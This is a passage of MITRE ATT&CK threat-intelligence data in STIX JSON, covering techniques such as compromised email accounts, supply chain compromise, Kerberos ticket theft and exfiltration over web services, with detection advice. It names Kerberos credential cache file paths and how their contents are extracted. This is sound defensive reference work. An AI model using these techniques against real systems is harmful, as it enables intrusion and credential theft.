"mitre-attack", "phase_name": "resource-development"}], "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during exfiltration (ex: [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)).", "x_mitre_platforms": ["PRE"], "x_mitre_is_subtechnique": true, "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "x_mitre_contributors": ["Francesco Bigarella"], "type": "attack-pattern", "id": "attack-pattern--3d52e51e-f6db-4719-813c-48002a99f43a", "created": "2022-05-27T14:30:01.904Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1586/003", "external_id": "T1586.003"}, {"source_name": "Awake Security C2 Cloud", "description": "Gary Golomb and Tory Kei. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved May 27, 2022.", "url": "https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/"}, {"source_name": "MSTIC Nobelium Oct 2021", "description": "Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022.", "url": "https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-11T01:07:48.218Z", "name": "Email Accounts", "description": "Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or large-scale spam email campaigns. Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).\n\nA variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: AnonHBGary)(Citation: Microsoft DEV-0537) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries may target compromising well-known email accounts or domains from which malicious spam or [Phishing](https://attack.mitre.org/techniques/T1566) emails may evade reputation-based email filtering rules.\n\nAdversaries can use a compromised email account to hijack existing email threads with targets of interest.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_contributors": ["Tristan Bennett, Seamless Intelligence", "Bryan Onel"], "x_mitre_deprecated": false, "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["PRE"], "x_mitre_version": "1.1", "type": "attack-pattern", "id": "attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b", "created": "2020-10-01T01:20:53.104Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1586/002", "external_id": "T1586.002"}, {"source_name": "AnonHBGary", "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.", "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/"}, {"source_name": "Microsoft DEV-0537", "description": "Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022.", "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-11T23:22:49.534Z", "name": "Upload Malware", "description": "Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\n\nMalware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin, or hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult.(Citation: Volexity Ocean Lotus November 2020)(Citation: Talos IPFS 2022)\n\nAdversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_contributors": ["Kobi Haimovich, CardinalOps", "Goldstein Menachem"], "x_mitre_deprecated": false, "x_mitre_detection": "If infrastructure or patterns in malware have been previously identified, internet scanning may uncover when an adversary has staged malware to make it accessible for targeting.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["PRE"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Internet Scan: Response Content"], "type": "attack-pattern", "id": "attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e", "created": "2021-03-17T20:09:13.222Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1608/001", "external_id": "T1608.001"}, {"source_name": "Volexity Ocean Lotus November 2020", "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020.", "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/"}, {"source_name": "Talos IPFS 2022", "description": "Edmund Brumaghin. (2022, November 9). Threat Spotlight: Cyber Criminal Adoption of IPFS for Phishing, Malware Campaigns. Retrieved March 8, 2023.", "url": "https://blog.talosintelligence.com/ipfs-abuse/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-02-26T14:23:37.009Z", "name": "Supply Chain Compromise", "description": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware) \n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "initial-access"}], "x_mitre_contributors": ["Veeral Patel"], "x_mitre_deprecated": false, "x_mitre_detection": "Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. Perform physical inspection of hardware to look for potential tampering.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "Windows", "macOS"], "x_mitre_version": "1.6", "x_mitre_data_sources": ["Sensor Health: Host Status", "File: File Metadata"], "type": "attack-pattern", "id": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1195", "external_id": "T1195"}, {"source_name": "Avast CCleaner3 2018", "description": "Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018.", "url": "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities"}, {"source_name": "Command Five SK 2011", "description": "Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved April 6, 2018.", "url": "https://www.commandfive.com/papers/C5_APT_SKHack.pdf"}, {"source_name": "IBM Storwize", "description": "IBM Support. (2017, April 26). Storwize USB Initialization Tool may contain malicious code. Retrieved May 28, 2019.", "url": "https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028-_-OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206-_-E"}, {"source_name": "Symantec Elderwood Sept 2012", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf"}, {"source_name": "Schneider Electric USB Malware", "description": "Schneider Electric. (2018, August 24). Security Notification \u2013 USB Removable Media Provided With Conext Combox and Conext Battery Monitor. Retrieved May 28, 2019.", "url": "https://www.se.com/ww/en/download/document/SESN-2018-236-01/"}, {"source_name": "Trendmicro NPM Compromise", "description": "Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019.", "url": "https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets"}, {"source_name": "Microsoft Dofoil 2018", "description": "Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018.", "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-11-28T21:27:35.373Z", "name": "Exploit Public-Facing Application", "description": "Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration.\n\nExploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet accessible open sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may also involve [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).\n\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.\n\nAdversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "initial-access"}], "x_mitre_contributors": ["Yossi Weizman, Azure Defender Research Team", "Praetorian"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "IaaS", "Network", "Linux", "macOS", "Containers"], "x_mitre_version": "2.5", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content", "Application Log: Application Log Content"], "type": "attack-pattern", "id": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1190", "external_id": "T1190"}, {"source_name": "CWE top 25", "description": "Christey, S., Brown, M., Kirby, D., Martin, B., Paller, A.. (2011, September 13). 2011 CWE/SANS Top 25 Most Dangerous Software Errors. Retrieved April 10, 2019.", "url": "https://cwe.mitre.org/top25/index.html"}, {"source_name": "CIS Multiple SMB Vulnerabilities", "description": "CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.", "url": "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/"}, {"source_name": "Wired Russia Cyberwar", "description": "Greenberg, A. (2022, November 10). Russia\u2019s New Cyberwarfare in Ukraine Is Fast, Dirty, and Relentless. Retrieved March 22, 2023.", "url": "https://www.wired.com/story/russia-ukraine-cyberattacks-mandiant/"}, {"source_name": "Mandiant Fortinet Zero Day", "description": "Marvi, A. et al.. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved March 22, 2023.", "url": "https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem"}, {"source_name": "NVD CVE-2016-6662", "description": "National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.", "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6662"}, {"source_name": "NVD CVE-2014-7169", "description": "National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.", "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-7169"}, {"source_name": "Cisco Blog Legacy Device Attacks", "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.", "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"}, {"source_name": "OWASP Top 10", "description": "OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved April 3, 2018.", "url": "https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project"}, {"source_name": "US-CERT TA18-106A Network Infrastructure Devices 2018", "description": "US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", "url": "https://us-cert.cisa.gov/ncas/alerts/TA18-106A"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-03-01T16:58:02.395Z", "name": "Steal or Forge Kerberos Tickets", "description": "Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as \u201crealms\u201d, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting.  Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\n\nOn Windows, the built-in <code>klist</code> utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\n\nLinux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the \"ccache\". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in <code>/var/lib/sss/secrets/secrets.ldb</code> as well as the corresponding key located in <code>/var/lib/sss/secrets/.secrets.mkey</code>. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)\n\n\nKerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the <code>/etc/krb5.conf</code> configuration file and the <code>KRB5CCNAME</code> environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using <code>kinit</code>, <code>klist</code>, <code>ktutil</code>, and <code>kcc</code> built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_contributors": ["Tim (Wadhwa-)Brown", "Cody Thomas, SpecterOps"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection)\n\nMonitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\n\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \n\nEnable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.\n\nMonitor for unusual processes accessing\u00a0<code>secrets.ldb</code> and <code>.secrets.mkey</code> located in <code>/var/lib/sss/secrets/</code>.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "Linux", "macOS"], "x_mitre_version": "1.5", "x_mitre_data_sources": ["Command: Command Execution", "Logon Session: Logon Session Metadata", "Active Directory: Active Directory Credential Request", "File: File Access"], "x_mitre_system_requirements": ["Kerberos authentication enabled"], "type": "attack-pattern", "id": "attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a", "created": "2020-02-11T19:12:46.830Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1558", "external_id": "T1558"}, {"source_name": "CERT-EU Golden Ticket Protection", "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.", "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf"}, {"source_name": "Microsoft Detecting Kerberoasting Feb 2018", "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.", "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/"}, {"source_name": "Kekeo", "description": "Benjamin Delpy. (n.d.). Kekeo. Retrieved October 4, 2021.", "url": "https://github.com/gentilkiwi/kekeo"}, {"source_name": "SpectorOps Bifrost Kerberos macOS 2019", "description": "Cody Thomas. (2019, November 14). When Kirbi walks the Bifrost. Retrieved October 6, 2021.", "url": "https://posts.specterops.io/when-kirbi-walks-the-bifrost-4c727807744f"}, {"source_name": "Medium Detecting Attempts to Steal Passwords from Memory", "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.", "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea"}, {"source_name": "Stealthbits Detect PtT 2019", "description": "Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020.", "url": "https://blog.stealthbits.com/detect-pass-the-ticket-attacks"}, {"source_name": "macOS kerberos framework MIT", "description": "Massachusetts Institute of Technology. (2007, October 27). Kerberos for Macintosh Preferences Documentation. Retrieved October 6, 2021.", "url": "http://web.mit.edu/macdev/KfM/Common/Documentation/preferences.html"}, {"source_name": "MIT ccache", "description": "Massachusetts Institute of Technology. (n.d.). MIT Kerberos Documentation: Credential Cache. Retrieved October 4, 2021.", "url": "https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html"}, {"source_name": "AdSecurity Cracking Kerberos Dec 2015", "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", "url": "https://adsecurity.org/?p=2293"}, {"source_name": "ADSecurity Detecting Forged Tickets", "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.", "url": "https://adsecurity.org/?p=1515"}, {"source_name": "Microsoft Kerberos Golden Ticket", "description": "Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020.", "url": "https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285"}, {"source_name": "Microsoft Klist", "description": "Microsoft. (2021, March 3). klist. Retrieved October 14, 2021.", "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/klist"}, {"source_name": "ADSecurity Kerberos Ring Decoder", "description": "Sean Metcalf. (2014, September 12). Kerberos, Active Directory\u2019s Secret Decoder Ring. Retrieved February 27, 2020.", "url": "https://adsecurity.org/?p=227"}, {"source_name": "Brining MimiKatz to Unix", "description": "Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.", "url": "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf"}, {"source_name": "Linux Kerberos Tickets", "description": "Trevor Haskell. (2020, April 1). Kerberos Tickets on Linux Red Teams. Retrieved October 4, 2021.", "url": "https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-02-26T14:19:09.417Z", "name": "Credentials from Password Stores", "description": "Adversaries may search for common password storage locations to obtain user credentials.(Citation: F-Secure The Dukes) Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor system calls, file read events, and processes for suspicious activity that could indicate searching for a password  or other activity related to performing keyword searches (e.g. password, pwd, login, store, secure, credentials, etc.) in process memory for credentials. File read events should be monitored surrounding known password storage applications.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "IaaS"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["File: File Access", "Command: Command Execution", "Process: Process Access", "Cloud Service: Cloud Service Enumeration", "Process: Process Creation", "Process: OS API Execution"], "type": "attack-pattern", "id": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", "created": "2020-02-11T18:48:28.456Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1555", "external_id": "T1555"}, {"source_name": "F-Secure The Dukes", "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-09-05T15:00:36.471Z", "name": "Exfiltration Over Web Service", "description": "Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.\n\nWeb service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "exfiltration"}], "x_mitre_contributors": ["William Cain"], "x_mitre_deprecated": false, "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Office 365", "SaaS", "Google Workspace"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content", "Network Traffic: Network Connection Creation", "Command: Command Execution", "Network Traffic: Network Traffic Flow", "File: File Access", "Application Log: Application Log Content"], "type": "attack-pattern", "id": "attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807", "created": "2020-03-09T12:51:45.570Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1567", "external_id": "T1567"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-12T23:52:30.489Z", "name": "Remote Access Software", "description": "An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy)\n\nRemote access software may be installed and used post-compromise as an alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary-controlled system.\n \nAdversaries may similarly abuse response features included in EDR and other defensive tools that enable remote access.\n\nInstallation of many remote access software may also include persistence (e.g., the software's installation routine creates a [Windows Service](https://attack.mitre.org/techniques/T1543/003)). Remote access modules/features may also exist as part of otherwise existing software (e.g., Google Chrome\u2019s 